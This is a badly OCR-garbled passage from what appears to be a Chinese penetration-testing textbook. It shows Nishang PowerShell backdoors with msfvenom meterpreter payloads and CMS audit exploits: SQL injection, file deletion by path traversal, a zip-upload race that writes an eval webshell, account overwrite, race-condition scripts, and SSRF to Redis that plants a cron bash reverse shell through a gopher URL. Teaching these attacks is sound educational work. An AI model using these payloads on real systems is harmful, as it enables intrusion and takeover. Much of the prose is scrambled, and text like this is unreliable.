z PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.psl
= tBr]LAEFAmsfvenomsG4ERE—"PowerShell, ZARFIEA Ta<SIRE—
% Meterpreter.
7] msfvenom-p windows/x64/meterpreter/reverse_https
:ﬁ LHOST=192.168.254.226-f powers hell
g B2 HN B M.
i e PayloadURL ##ETERE NHRVRIA L
% e Arguments #HEEEHTHIRERIEXEH
& (3) Execute-OnTime
=] Execute-OnTime o] LAFE Bim#l EigiEPowerShel[fIARIHTES R, S5
YN

T " HTTP-Backdoorf{IfF/iEEM, RATE TEMNIIEE, HivT/iEM FAvs.
PS > Execute-OnTime-PayloadURL http://pastebin.com/raw.php?
i=Zhyf8rwh-Arguments Get-Information-Time hh: mm-CheckURL http://
pastebin.com/raw.php?i=Zhyf8rwh-St opString stoppayload

BARNSHN B M.
e PayloadURL #HEEMIA FEATBHE
e Arguments ##EENITHIRESZ



%ﬂmﬁ%mam%"ﬁﬁwmwmai

o Time #HAZTEMIAITAIANE (HIA0-Time 23: 21)

e CheckURL ##S40 I NEEARURLAR B E&EFEStopStringS HINF
e, MEAI T HELERAT

(4) Invoke-ADSBackdoor

EAHAERNTFSEIERE T KAME]. XA AR 258
B, RXEE IR VIFEXAN, thAESHAT.

XMAARLAEADSHEANRTSH B S BAFPINSIRET, WAL TGS
STV, GIE6-198f.

PS >Invoke-ADSBackdoor-PayloadURL http://192.168.12.110/test.ps1

El6-198 HuT/E 1A
PTZHAZ S, MR EREPFHMREASIRENHIRA, FRe<Sdi/
a/r A REBEERES NATL:, HE6-199F 7.



{mmﬁwmxmw"m%»mvos}

C:\Users\smile\AppData 5] '—' T

2017/06/27 22:37 <DIR>

266 .:gxxkufctdcc.txt:$DATA

207 .:yqykuS52ilab.ubs:$DATA
2017/06,27 2 7 o
2817/86 /808 4 < Local
2817/85/: 2 4 > LocalLow
2017/86/18 :2 (DIR> Roam
A4 5}
.388,.596,736 0O

El6-199 EEWS NI
NishangiXzRE T PowerShel BN EH T REM 7 IFEZHISTAMA
S5iEZR, hERIEsENSIdESER. RE, £ YNE N olgeahiiiT

PowerShell, (E2BIEEXLEMANEARRTE, BAIBeILIECETIMARAAY

— sy,
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—-%Eﬁﬁ%ﬁ;ﬁﬁﬁ%" TEBW oo = }-—

7.1 HASELHEAISHT
b TEEiEAr, NEAMLEEREIEREFENCMS, WA R
—REETHN HEZRZCMSEEATNRR, RE=EABATRR R T,
BTFCMSEFIR, FRARILUERE MG, BEEtTREET, SRERTNEZER
. AERBEATNES, NE/ERNZERE.
REEFIHN T EE%EN0EREIAY, FIRIRIPS, Fortify SCA. SeayiRi3HH
T TE. FindBugs¥. X&T EINMNFEEEMBIREE. 1500 E. XN
KREsEiHdE+S, TEREEY, FEENENSAREEERENRISTRANR, &
el SERABPRERRE.
FERASE IS, ERANIDEEPHPSTORM + Xdebug, EISACEIDE, =]LAS
HRAPHPRED, H{EFECMSHENETIE.
7.1.1 SQUENTFH
FIFCMSERBAImodel.php3Zff (modelSM—RE AR EAURRERTUL) |
SR IEEEIGETInfoWhere () BEE$strWhereEiEHE N selechEaH, i2HH
RiiE, B M.

public function getInfoWhere($strWhere=null,$field = '*',$table=""){
try {
$table = $table?$table:$this->tablenamel;
$strSQL = "SELECT $field FROM $table $strWhere";
$rs = $this->db->query($strsQL);
$arrData = $rs->fetchall(PDO: :FETCH_ASSOC);
if(lempty($arrDataf@][ 'structon tb'])) $arrData =

$this->loadTableFieldG($arrData);
if($this->arrGPdoDB[ 'PDO_DEBUG']) echo $strSQL. ' '<br><br>’;
return current(farrData);
} catch (PDOException fe) {
echo 'Failed: ' . $e->getMessage().'<brs<br:’;
}
}
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MEAJ LTSRS $strWherelI{E, #ADISEFESQLINRR. EREHE
=& getinfoWhere () BB, &Hl/include/detail.inc.phplBE T 1ZHE. =
=%obj WebInit2¥iALEIRENS:, AEKS$ GET ['name’] #HEEESarrWhere,
BEESstrwhereiZa)F A\ BlgetinfoWhere () BEF, K2 M.

$objWebInit = new archives();
$fobjwebInit->db();

$arrihere = array();

$arrWhere[] = "type_title_english = "".$_GET['name’']."'";
$strwhere = implode(' AND ', $arrWhere);

$strihere = 'where '.$strihere;

$arrInfo = $objWebInit->getInfoWhere($striwhere);

if(!empty($arrInfo[ ‘meta_Title'])) $strTitle = $arrinfo[ ‘'meta_Title'];

else $strTitle = $arrInfo[ 'module_name’];

if(!empty($arrInfo[ 'meta_Description'])) $strDescription =

$arrInfo[ “meta_Description’];

else $%$strDescription = $strTitle.’,'.$arrInfo[ 'module_name"'];
if(!empty($arrInfo[ ‘'meta_Keywords'])) $strkeywords = $arrInfo[ 'meta_Keywords'];
else $strKeywords = $arrInfo[ 'module_name'];

BILIEE, 28iname IRENBEEIFHENSIRES, REEIEAIRNLE, Fr
LB BFiREEReETRSENEEbNZ2EE, MEFESQUINRRE.

BiEnnlhttp://127.0.0.1/include/detail.inc.php?name=18%, EEFER
i, WE7-1F.

« ce a0

Wamning require onceiconfig/configinc phpi failed 1o open stresm No such fle or directory = 1 — -l

Fatal error require_once() Failed opersng required ‘configiconfig inc php’ (mchude path - .C \phg\pear’] n = — ——

E7-1 FgEEEnE
LiFfSFiERdetail.inc.phplVERR, %I/detail.phpsi@Eidrequire once
() BBz EaEEE.
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<?php
require once (‘include/detail.inc.php’) ;
?>
13[A]127.0.0.1/detail.php?name=11111'union select 1, user () , 3,
4%2381, FEFEEKuser () NERRERTRE, WE7-27r.

l 127001
LAt - =
W root@localhost “mIl AT 55 root@iocamon
. xorem
b (TEE
= E7-2 ENELD
% 7.1.2 XA4HRIBR R
B FTHCMSIEREF N upload.php 4, ZmEAT HEE, THNTHEER S
% RHBRIES S, RS HEsrE, KE3 M.
=
A if ($_FILES['Filedata’]['name’] != "") {
i_lt $strOldFile = $arrGPic['FileSavePath'].'b/"'.$_POST['savefilename'];
s if (is_file($strOldFile)) {  // BicfFmipx
ik unlink($stroldFile);
& }
53] $_POST['photo’] =
oL $objWebInit->uploadInfoImage($_FILES['Filedata'],"',$_POST['FileListPicSize'],$_P
0ST['csize@'],$_POST[id']);
}else{
$_POST[ 'photo’] = $_POST['savefilename'];
}

BEEE U EREFRRRSarrGPic ['FileSavePath'] .'b/' FIPOSTIEAZHT
NfHE$ POST ['savefilename'] &%, KEHis file () HIWIHERFE, NEE
FE, NHEESE:, {BiX B e NaER,

o RIZiZHEHKT$ POST ['savefilename'] R4S, Frla]L{EEXIRE5H
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&%, teilinstall.lock.
o KiTizBidiE " , SEHAEFCIER " BRIEMER, W./././
data/.
MBS, BEATeILiaiES POST ['savefilename'] =../../../data/
install.lock, ItAFunlinkiggimi<MiERinstall.lock.
MNAIDTE: EMPOSTEEHAER' savefilename'=../../../data/install.lock,
l AEiRz. XBEERRR NMHEERENTAEK" |, BEELEEMBR T ../ /. /data/
i install.lock344, 2E7-3F7s.

IVOERIUNI2SAER2EVEE 004N
s4n2
Content-Disposition: form-dats; same=-chgo-

N e LU UL MU S REETTE R LA LA TL )
s4382
Content-Disposition: form-dats; Bame= savephota||”

............................. LPOEPLFNLISA6HIRPIRL004N

4332

Conten ta; same="savefilesams" tacriptralert (" INBOFHATR() ') nistory.go(-1))
</weripe>

190691901 2546920956 10049

E7-3 MRS R
7.1.3 34 HERE

FIFCMSERSHupload.php i, ZmmEATF &R, KB s

EREHEENE Fedtcoe =

4
S
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public function upload() {

if (1isset($GLOBALS['HTTP_RAW_POST DATA'])) {
exit("HEEALF');

$dir = FCPATH. 'member/uploadfile/member/’ .$this->uid.'/"; // @I )y £k
A
if (!file_exists($dir)) {
mkdir($dir, @777, true);
}
$filename = $dir.'avatar.zip'; // {ifif flashpost [€}7
file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

/7 RRIESR SO
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$this->load->library('Pclzip');
$this->pclzip->PclFile($filename);
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER)
== 0) {
exit($this->pclzip->zip(true));

1/ REIHEER
$avatararr = array('45x45.3jpg', '90x90.3jpg');

/! RIEEERHE
$files = glob($dir."*");
foreach($files as $_files) {
if (is_dir($_files)) {
dr_dir_delete($_files);

if (!in_array(basename($_files), $avatararr)) {
@unlink($_files);
}
}

/7 B4, BEREGR R AEE jpg M A
if($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file !== '.' && $file !== '..') {
if (!in_array($file, $avatararr)) {
@unlink($dir . $file);
} else {
$info = @getimagesize($dir . $file);
if (!$info || $info[2] !=2) {
@unlink($dir . $file);
}

}
}
closedir($handle);

}
@unlink($filename);
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AR SCHIRTERFA RRs.

o Gl HEERSdir.

¢ JEPOSTARE (NEesEEEG ) (FF2I$dir/avatarzip.

o [FAPcIZipEi# R savatar.zip, WEMAEEEW, FHexit () BHER.
o EREEGFEESR, WEHdr dir delete () MEZER.

o A/attiBRavatarzipF3{4 (BR7Y45x45jpg#190x90,jpg) .
XBERBFEIN—SINLERENERSEEE, S a0
WebShelllJ#IA, W1 M, REEAHEERR DS NRIZ=E A

A, B2 ERBEREM— M FIWebShell.
<?php
fputs (fopen ('../shell.php’, 'w') , '<?php @eval ($ POST [a] ) ?
>')
7>
ANBE M GE, EERERERFERPCcIZipEfE T savatar.zip,
WEEEEFW, HAexit () BHER, EEAGINRMESASIT (BRERERS
%) | XBUREIE—NEEXG, sTLUEERE SO, (B ERSSE R
HiE, HWAITSHIl— N WebShel iR EHE, EBRTEEHE, TLERFS
exit () , EEAMBRRIEEASIHIT. FBEXNGE, Fallaih FEWebShell,
AN AEAN R,
o TS, RS HELEREERBurp SuitelllE.
o MHE—PNEBERZIpIE, Hh1.png2ER, 2.php~5.phpEEEphpil
%, WE7-4F7r.
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4 [ = 8 1zp-mExH69K8

s [EE EE £
. (BB e
& 1.png 6.8 KB 66KB PNG X%
& 2php 1KB 1KB PHP 2%
& 3php 0KB PHP iz
& 4php 1KB 1KB PHP i
& 5php 0KB PHP 3zi%
E7-4 zip3rif

e TEBurp Suitesh, {&f "Paste from file” zip ] HMEIEREMREE+,
ANE7-5F7.
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¢ [ Raw | Params | Headers | Hex |

e d d

-v

Name Value || ada
| POST Imember/index_php?c=account&m=upload HTTP/1.1 E ;
’ Host 127.0.0.1 ") | Remove
Content-Length 18324
Ongin http://127.0.0.1 lLJ
| X-Requested-With Shockwaverlash/29.0.0.113 o W
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW ...
Content-Type application/octet-stream
Accept b 1t
Referer http://127.0.0_1/member/statics/avatar/main. swf
’ Accept-Encoding gzip, deflate
Send to Spider
Do an active scan
Send to Intruder Ctri+l
Send to Repeater Ctr+R
Send to Sequencer
Send to Comparer
Send to Decoder
Request in browser >
Engagement tools
Change request method
Change body encoding
Copy Ctr+C
Copy URL
Copy as curl command
Copy to file
| (il (sl (el (53 [Tvoe 2 search term I S

hes
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B7-5 BzipS SRS
(4) FEHEXF, BREEA5.phpXI RATHEXNFEXCAELIIER, WE
7-6K0E7-7F7.

IﬁuIPMIHMa@

wu YVUTOU LU LT e N =) JU LW UL v U W8 W vt I"_‘m\-\u:’“‘_ﬂl‘_} )
1e7 cb 78 5 52 78 d1 69 3 73 02 4a ed 5b ed a9 80 ExdRdlissTJf®D P
198 bf 73 de d3 dc fa 3F 21 16 Se dI cb ea 4f c1 9e (sbOUNATAUESOAC
169 7c F 93 26 dc b2 be 41 6d 8 7 9 cb c3 c5 P |yo8UMAmD DEA .
1fea bb 50 42 34 c1 55 0a 16 21 f 05 50 4b 03 04 14 »B4AUCKWOPKDOD
1eb 00 00 00 00 00 25 67 6f 4c 51 ba 14 76 13 00 00 %WolPovD

fec 00 13 00 00 00 05 00 00 00 32 2 70 68 70 3c 3f OD2php<?

ted 70 68 70 20 70 68 70 69 6e 66 6f 29 3b 20 3f php phpinfo(); ?
fee 3e 50 4b 03 04 14 00 00 00 00 00 14 57 & 4c 00 >PKOOOOWol
tef 00 00 00 00 00 00 00 00 00 00 0O 05 00 00 00 33 ©°3

0 2 70 68 70 50 4b 03 04 14 00 00 00 00 00 25 57 .phpPKOOD%W
M 6f 4c 54 ba 14 76 13 00 00 00 13 00 00 00 05 00 ol]CvoOD

#2 00 00 34 2 70 68 70 3c 3f 70 68 70 20 70 68 70 4.php<?php php
#3 69 6e 66 6f 28 29 3b 20 3f 3e 50 4b 03 04 14 00 info(); 2>PKODD
M4 00 00 00 00 14 57 6f 4c 00 00 00 00 00 00 00 00 OWol

5 00 00 00 00 05 00 00 00 35 2 70 68 70 50 4b 01 05phpPKD

6 02 14 00 14 00 00 00 08 00 75 42 6d 4c a2 bc 7c CCOCUBmLEY
7 25 68 1a 00 00 57 1b 00 00 05 00 00 00 00 00 00 %hOWIOD

8 00 00 00 20 0D 00 00 O0 00 00 OO 31 2¢ 70 6e 67 1png

M 50 4b 01 02 14 00 14 00 00 00 00 00 25 57 6f 4c PKOODO%Wol
#a 54 ba 14 76 13 00 00 00 13 00 00 00 05 00 00 00 J°cvaoC

#b 00 00 00 00 O1 00 20 00 00 00 Bb 1a 00 00 32 2 COoO2

# 70 68 70 50 4b 01 02 14 00 14 00 00 00 00 00 14 phpPKOOODD
#d 57 6f 4c 00 00 00 00 00 00 00 00 00 00 00 00 05 WolZ

e 00 00 00 00 00 00 00 00 00 20 00 00 00 ci1 1a 00 AG

fi 00 33 2 70 68 70 50 4b 01 02 14 00 14 00 00 00 3.phpPKIDOD
200 00 00 25 57 6f 4c 5 ba 14 76 13 00 00 00 13 00 %WollPovOD
201 00 00 05 00 00 00 00 00 00 00 O1 00 20 00 00 00 OC

202 o4 1a 00 00 34 2 70 68 70 50 4b 01 02 14 00 14 aC4.phpPKODOO
203 00 00 00 00 00 14 57 & 4c 00 00 00 00 00 00 00

204 00 00 00 00 00O 05 00 00 00 00 00 00 00 00 00 20

205 00 00 00 1a 1b 00 00 35 2 70 68 70 50 4b 05 06

206 00 00 00 00 05 00 05 00 f 00 00 0O 3d 1b 00 00

207 00 00 - - - = = = e e e e = = =

E7-6 RerSiRaRne
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Z24{2PCLZIP_ OPT PATH, PCLZIP OPT PATH, RET EEEEHFEEINEE.

$this->pclzip->extract (PCLZIP OPT PATH, $dir,
PCLZIP_OPT REPLACE_NEWER)

PclZip PSR AR R R ZAINERAE, 240
PCLZIP_OPT EXTRACT DIR RESTRICTIONIBFRAVTEEIISERR, MR
FREMBERNIER. XBEEFFERESNER, SEEHESH
PCLZIP_OPT EXTRACT DIR RESTRICTION, FrIABAToJLMGERG G, Hhas
—a.phplSfs, LEFFEER, SKa phpffER ERER. BT EEEE=E
a.phplZH, FrLAelUE e HEXRSTH.

A FRREAEA M AR,

o FEE—MEG X, B81.png#12222.phpB N4, WIE7-9F 7.

# 1 (2zip - ®BEF/H 69 KB

/

S

1.png 2222.php

E7-9 5
e {Efnotepad + + FIFRZEAE AL, 162222 phplEXCA../2.php, HNE
7-10F1E7-11 i,

Bt 12, | R
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LI
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TR CEEEERTTNTRTRRR
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BE7-11 ISR ARSI
o {EF3Burp Suite&ZiXE NG, AJLIER, AERBRTEE T —2.phpX
., AE7-12f7.

, . /2. php<Iphp phpintol):

ber » uploadfile * member > v O BE 'me
& Tl ] i
2 2018/3/1519:3 witE
& 2.php 2018/3/1510:57  PHP 043 1 KB

E7-12 pkIh_EEWebsShell
7.1.4 FINEERRH

FIFFCMSIFREFregin.phpXff, ZREEMAFIMRE, 20 N7

if($_SERVER["REQUEST_METHOD"] == "POST"){

ft
if(!check::validEmail($_POST[ "email'])){
check: :AlertExit("fiid: Wi AT AN R FIEEI",-1);
}
o |

if(!check::CheckUser($_POST['user_name'])) {
check: :AlertExit("S$iAMA M S FR 4-21 PRz MM T. FEI",-1);
}

—%Eﬁﬁ#}ﬁ;ﬁﬁﬁ%" FEW oo = }_

unset($_POST[ "authCode’]);
unset($_POST[ 'password_c']);
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$_POST[ ‘real_name'] = strip_tags(trim($_POST['real_name']));
$_POST[ 'user_name'] = strip_tags(trim($_POST['user_name']));
$_POST[ 'nick_name’] = strip_tags(trim($_POST['real_name’]));
$_POST[ "user_ip'] = check::getIP();
$_POST[ 'submit_date'] = date('Y-m-d H:i:s');
$_POST[ 'session_id'] = session_id();
if(!empty($arrGWeb[ 'user_pass_type']))
$_POST[ 'password’ ]=check::strEncryption($_POST[ 'password'],$arrGWeb[ 'jamstr']);

$intID = $objWebInit->savelnfo($_POST,0,false,true);
echo “<scriptralert( i Mscl
);window.location="{$arrGWeb[ '"WEB_ROOT _pre']}/';</script>";
exit ();
} else {
check: :AlertExit( "M %M’ ,-1);
}

BrEd SR ER P ZWRES ~ 21N FEE 2 BNEE. =58, BFE
MNMFEEEFHEE. E NRIES POSTH A\ Zsavelnfo () EE, R340 M.

$intID=$objWeblnit->savelnfo ($ POST, 0, false, true) ;
Riftsavelnfo () EREL, A3 FATR.



gﬂﬁﬁﬂﬂﬁmm"ﬂﬁwmvoag

Www. glanani. com

function savelInfo($arrData,$isModify=false,$isAlert=true,$isMcenter=false){
if($isMcenter){
$strData = check::getAPIArray($arrData);
if(!$intUserID =
check: :getAPI( 'mcenter’, 'saveInfo',"$strData*$isModify~false")){
if($isAlert) check::AlertExit("5H /oLt kW, WG HA1",-1);
return ©;
}
}
$arr = array();
$arr = check::SqlInjection($this->saveTableFieldG($arrData,$isModify));
if($isModify == @){
if(lempty($intUserID)) $arr['user_id'] = $intUserID;
if($this->insertUser($arr)){
if(lempty($intUserID)) return $intUserID;

else return $this->lastInsertIdG();

}else{
if($blAlert) check::Alert("Hii{%W");
return false;

}

}else{

if($this->updateUser($arr) !== false){
if($isAlert) check::Alert("fEcirky! *);
else return true;

}else{
if($blAlert) check::Alert("fEikW");
return false;

Bidcheck: getAPlAHAmcenterdfiisavelnfo () &Y (check: getAPIY
{EFBEi@idcall_user func_arraylfmcenter.class.php¥fisaveinfo () &Y, H
FARER, FRFIHAD) .

HEImcenter.class.php$fiJsavelnfo () EREL, KB FAs.
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function savelnfo($arrData,$isModify=false,$isAlert=true){

$arr =
$arr =

array();
check: :SqlInjection($this->saveTableFieldG($arrData,$isModify));

if($isModify == 0){
return $this->insertUser($arr);

}else{

if($this->updateUser($arr) !== false){
if($isAlert) check::Alert("#22U8IN! ");
return true;

telse{
if($blAlert) check::Alert("fE KMt *);
return false;

}

savelnfo () B&So@idcheck: Sqllnjectiontd2&i7RINaddslashesi ),
AETNE$this->insertUser ($arr) , ItAMNISarrfi E(EEHEAIS POST, 4k4rER
BtinsertUser () , XEoJLIEZR|, FBFEAREPLACE INTOIBAREE, W F=.

public function insertUser($arrData){

$strsQL
$strsQL .
$strsQL .
$strsQL
$strsQL
$strsSQL
$strsSQL .

= 'REPLACE INTO $this->tablenamel (";

= implode( , ', array_keys($arrData));
s Oy

.= " VALUES ('";

.= implode("‘ ‘", $arrData);

="")"

if ($this->db->exec($strsQL)) {
return $this->db->lastInsertId();
} else {
return false ;

}

replace intoffYZhEERRinsertfUZEl, AREIRIET, replace intoEc=itiH
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MBELIMERHCLBITEIR (IRIBEEEE—Z5 1K) |, NSkt
HoE, ASBAFHEEE, &N, EEmAFTEIE.

i, BNIMNCERREENY, & FEXE N,

o {EffinsertVser () TMAFUEIIZIEAIES POST, MAREENIZE.

o H{TSQLEAATERAVEREPLACE INTO, MiARinsert.

E7-13 2B&ER
’-\T” e iAalL FURL, A <TEiisent. XEBRERRuser id=1, TARARHEER
BEEHN, H2HEF AN, NE7-14Fx.

L HELESES, RALGUINEERT.
Yy FEmET.

; o AT ER, BATE NUEEFNEEE: SERMNuser id=1 (IEHNAVE
% chi58user id=19FFAEER) , user name=admin, password=123456, ]
£ E7-13fm.

B

53]

. v userld user_name corpname contact_sddress postcode real_name nick_name  password

= My RENS anse [ 1170 EE AXHESE EE L & 1]

&

iE

|

it

T

17 S8R FEM X R 1 admin 210001 123486

&

3]



gmmﬁmmﬁmm"m%»mroag

Www. glanani. com

http: iser/regin.php
) Enable Post data  Enable Referrer r“
user_name=testiemail=1$163.comimobile=186111111114postcode= 21000 18password= 12345678 Apassword_c=123456788user_id=1

E7-14 #8i&EPOC
o BRFIREFEEHIE, JLED, EERNEFPEIEREEEENT,
WE7-15F 7.

2 E v userld username comp_name contact_address postcode real_name nick_name password
nfd RRNS answ Ll oS AENS® = "RER
S8 L EM X e 1 test 210001 12345678

E7-15 R EREEa M Es
7.1.5 REEHARR
FIFFCMSIERBFHgift.phpSfs, HARBRWEREEERS nifimam, IR
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H2#HE A\ Rlupdate_gift () BES, KB M.

function onadd() {
if(isset($this->post['realname’'])) {
$realname =strip_tags( $this->post['realname’]);
$email = strip_tags( $this->post['email’]);
$phone =strip_tags( $this->post[’phone’]);
$addr =strip_tags( $this->post[‘addr']);
$postcode =strip_tags( $this->post[’'postcode’]);

HRiftupdate_gift () B&, KBNT7R, WRERWERMENTEIRE
~on UPDATE, SR, BUXIRBIRE, alLULIifEqueryBiFHigBXISUREES,,
FLAUARRT LA SR F 2 SISt e ST

\/:;\J $qq =strip_tags( $this->post[’qq']);
$notes =strip_tags( $this->post[’'notes’]);

e $gid =strip_tags( $this->post['gid']);

b $param = array();

7 if(''==$realname || '‘==$email || '‘'==$phone| |’ '==$addr||''==$postcode)
E

o

gﬁ $_ENV[ 'user']->update_gift($this->user['uid'],$realname,$email, $phone,$qq);

é& $_ENV['gift']->addlog($this->user['uid'],$gid,$this->user[ 'username’],$realname,$
& this->user['email’],$phone,$addr,$postcode,$gift[ 'title’'],$qq,$notes,$gift[ 'credi

t']);
g $this->credit($this->user['uid'],0,-$gift['credit’]);//AnbEW i
}
i }
2

2

function update_gift($uid, $realname, $email, $phone, $qq) {
$this->db->query("UPDATE " . DB_TABLEPRE . "user SET
“realname’ ='$realname’, email ='$email’', phone’ ='$phone’', qq ='$qq’' WHERE
“uid =$uid");
}

MR A,
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o I KSIHER, JEHNKSHUEESR35, BnlEasl 30
=8, AIEEER FNERgExe—4Eal, NE7-16F7r.

E7-16 ZEipy "MEE"
o {EFPython RS ZLEIEHIA, EEFHthreadingi 2100 %42, AEE
EHERGHZE R (M URIERBIEIERENTRL) |, KB T

import requests
import threading

def pos():
data = {'gid':'1", 'realname’:"test’, 'email’':'1@121.com’, 'phone’: '18000000001" ,
‘addr' : ' XESXBCXI7HEAXBAKACKEIXISXBFXESKOFXSE ' ,
‘postcode’:"'111111','qq':'1", 'notes':"1", 'submit':'1"'}_cookies={'tp_sid':'c48b613
f61dec6dc ', 'PHPSESSID' : '8392e7b532b5¢c73768cad77508649407 ", 'tp_auth': 'bef@6n24gYSw
ErVt2S40iVR61HB%2FmwDrProZl4dZhkdTeTgz2ar jMkIn0OxqS%2FQyFzq@61KT7Z7ah6ZmxboX@sje" }

r = requests.post(‘'http://127.0.0.1
/?gift/add.html’,cookies=_cookies,data=data)
print(r.text)

for i in range(9,100):
t = threading.Thread(target=pos)
t.start()

HANWGERG, TEDR, BESRE T ZER, FTEVEEEN
T7-205, WE7-17f0E7-18F7~.
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. Test
e OEROYE?
a"t‘. p
() Ay HELE
wRR
PPN
R 5 L
" AR o
2wRme o

BE7-17 pdT (1)

test RIRISIR T L5 " RERBG"
test RIRISEHR T 4L56R SRERBG"

test RIRISIR T AL RERBG"
E7-18 BhHiT (2)
7.2 BB IS
7.2.1 GRS

ENENGHTEENEN, EEXRITEEERIIE, ERFENET7-19
A=,
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B E7-19 B2FE

g FESREFEEIATE, —REIT, SSEREARNTERSIEE S

B NWIES, ASHTRORE, ERHRHSFERE: REARTRE, ERAGES
g BEl—ESfEF. FlaNEEMBurp SuitefliRepeater T B—EL AL SIEIES, Hial
roon EDBEE, WE7-20F 7.

.
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E7-20 ﬂﬁﬁ%m:ﬁ‘zﬁl
EWEEREEAUES], KSadminFHHE, MAMFERPHIEERE, FIHX

RRBICIREERATELSFENKS.

NEE—SHER

THRIGEIERKS, BBETHAMNIEPR—REHE, Kt

KinE, BEAWENAMEE: RIREER. USE. HMAES, ME7-21F7r.

ERN: MERES

BaE0R

S 100 BRI

GE S RET)

E7-21 BT A
RaEE=HERLAMEEHRNETEER, flilkiglb, cwb, bgs, KA

IEFEZWS, WE7-22f7r.



BFE! SR
EHSTE 2 WEEMRSE, METMBSEHAT X8 it
E7-22 APHE
NERRESHENRAEXEREFNZG, TR, BUkiL. 2355
l EERIANXEARK EE.
it o 5EMKS: kjglb. cwb, bgs. xxzx.

o fAuLiEZ . xooccom.,

e BEENMEETHRAE: SQUINRR.

Bk, SIEEANERAN, ASREZHMNARZEDRE, =RINZEEH
WE (N7 TSN 0w

o [HEZ3.

o [ ZRSE.

o kS +@/ /! F+ilE, fllllbgs@xxx. bgs_xxxZF.

o IS + ), Hililbgs2015, bgs2016<,

e EiFFEIAV/N, filf1Bgs2015, Bgs2016%.

EENBERNZRS, EHBurpSuiteflintruderliBEd TR R, BHTE

s FHEHEEFRESEEMDSIEHR, FARFERPayloadiE)i—1"MD54ME,
T nm7-23m.,

Eﬁﬁ%ﬁﬂﬁﬁﬁ%" F oo =
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Payload Processing

You can define rules to perform various processing tasks on each payload

Add 'J 'Enabled | Rule
) Hash: MD5

e

Edit

Remove
| Up
Down
E7-23 MD5IAF

BB NWENAFbgslIZREEBgs2016! @#, BEREERE, MALEX

HRIIMEERE FfEWebShellf1 ],
7.2.2 SSRF + Redisi£{EWebShell

EEEHTORBBENER, BRI BiRt R Ee] A BIRER, B4
A CERFH— UL FFESSRFRR, WidaIl—1wtE, FelLUAaREieE, mE
7-24Ff .

e = ] J AT SRR NT, TRl

—-%Eiﬁﬁ}lﬁ}ﬁsﬁﬁﬂ%" FEW oo = %._

EMMEEAPI  hittpy//127.0.0.1:8888/test

E7-24 SSRFiEE

HTILSSRARREEBERE FESEE, eI EERHREBER, £5
B AR=E, AU EiRh R Redis K IERGARIRR, WE7-25F 7.
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ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name) $1923 # Server redis v

re ple»
run i ceswiiuasi9y  Gme in daysO hz
chent lonnest © pd. ~hente © 336952 used m
used m mem allocatorjema
rdb_bgsave " Jgsave time sec:-1

E7-25 RedissRiIZRUAEIRIR

TEBEN FRedissRIEAUAElRREABUSGERIShelIHITE.

o TELinuxZE&F, FsocatiftiTin[1iE%, 1ERedisf16379ix 15558888
iwmH (BRNEATICKAEKRedisHIEIRE) , Wl .

socat-v tcp-listen: 8888, fork tcp-connect: localhost: 6379

o FiEE—"redis.sh3f4, REW M.

echo-e "\n\n*/1 * * * * bash-i >& /dev/tcp/192.168.0.11/2333 0>&1\n
\n"|redis-cli-h 127.0.0.1-p 8888-x set 1

redis-cli-h 127.0.0.1-p 8888 config set dir /var/spool/cron/

redis-cli-h 127.0.0.1-p 8888 config set dbfilename root

redis-cli-h 127.0.0.1-p 8888 save

o ke S 2R ARedisRIERIAIRIEIZGEShellf85<S, HH192.168.0.11
JotElRithE, 233391%S RN, WE7-26F7R, EFHAANCESIT23335%0.

E17-26 NCilis
RIEZiEH Tbash redis.sh, 45/, SocatiEiiZlredisBIa<al R
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> 2018/03/19 20:55:22.543250 length=86 from=0 to=85
*3\r

$3\r

set\r

$1\r

1\r

$59\r

*/1* * * * bash -1 >& /dev/tcp/192.168.0.11/2333 0>&1

\r

< 2018/03/19 20:55:22.544668 length=5 from=0 to=4
+0K\r

» 2018/83/19 20:55:22.547350 length=57 from=0@ to=56
*a\r

$6\r

config\r

$3\r

set\r

$3\r

dir\r

$16\r

/var/spool/cron/\r

< 2018/03/19 208:55:22.547568 length=5 from=0 to=4
+0K\r

> 2018/83/19 20:55:22.55€036 length=52 from=0 to=51
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*a\r

$6\r

config\r

$3\r

set\r

s1e\r

dbfilename\r

$4\r

root\r

< 2018/03/19 20:55:22.550253 length=5 from=@ to=4
+0K\r

> 2018/03/19 20:55:22.552669 length=14 from=8 to=13
*1\r

$4\r

save\r

< 2018/03/19 20:55:22.554836 length=5 from=0 to=4
+0K\r

o ERTEX BAREHTHRIE, TERBI Mfrx.

import sys

poc = '’
with open('redis.txt') as f:
for line in f.readlines():
if line[@] in "»<+':
continue
elif line[-3:-1] == r'\r":
if len(line) == 3:
poc = poc + "%@a%ed%ea’

else:
poc = poc + line.replace(r’'\r', '%@d%@a’).replace('\n‘, ')
elif line == "\x@a':
poc = poc + '%ea’
else:

line = line.replace('\n*, ')
poc = poc + lipe
print(poc)




>

LAY

B SEHNEENE FF3htce =

MiTpython3 redis.pyfa, SRIRVERMET7-27F7x.

E7-27 FEENSS
o TEAMA| Beurl ZARIATRE, sJABRREIISR “+0K" , K%
RedisipSHTAEN, E7-28F7~.

curl -v
‘gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0al1%0d%0as59%0d%0a%0a%0a
*/1 * * * * bash -i >& /dev/tcp/192.168.0.11/2333
0>&1%0aX0a%0aXk0d%0a*4%0dx0as6X0dk0aconfigkodk0as3¥edioasetX0dx0as3%edx0adirked%oa
$16%0d¥%0a/var/spool/cron/%0d%ea*4%0d¥%0as6%ed%0aconfigkedkoas3xed%vaset¥0d%0a$10%0
d%@adbfilename¥%0d%0a$a%0d¥@aroot*¥0d%0a*1%0d%0a$4%0d%0asave¥0d¥oa

E|7-28 ppl# FERedisimiE
o E NESENASSRAFR, X EEAERAIRE, #HTurlfmis, W s.

gopher://127.0.0.1:6379/_*3%ed%0a$3%0d%0aset%0d¥0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*
/1 * * * * bash -i >& /dev/tcp/192.168.0.11/2333
0>81%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfigked%0as3%0d%0aset%0d%0as3%0d%eadirkod%0a
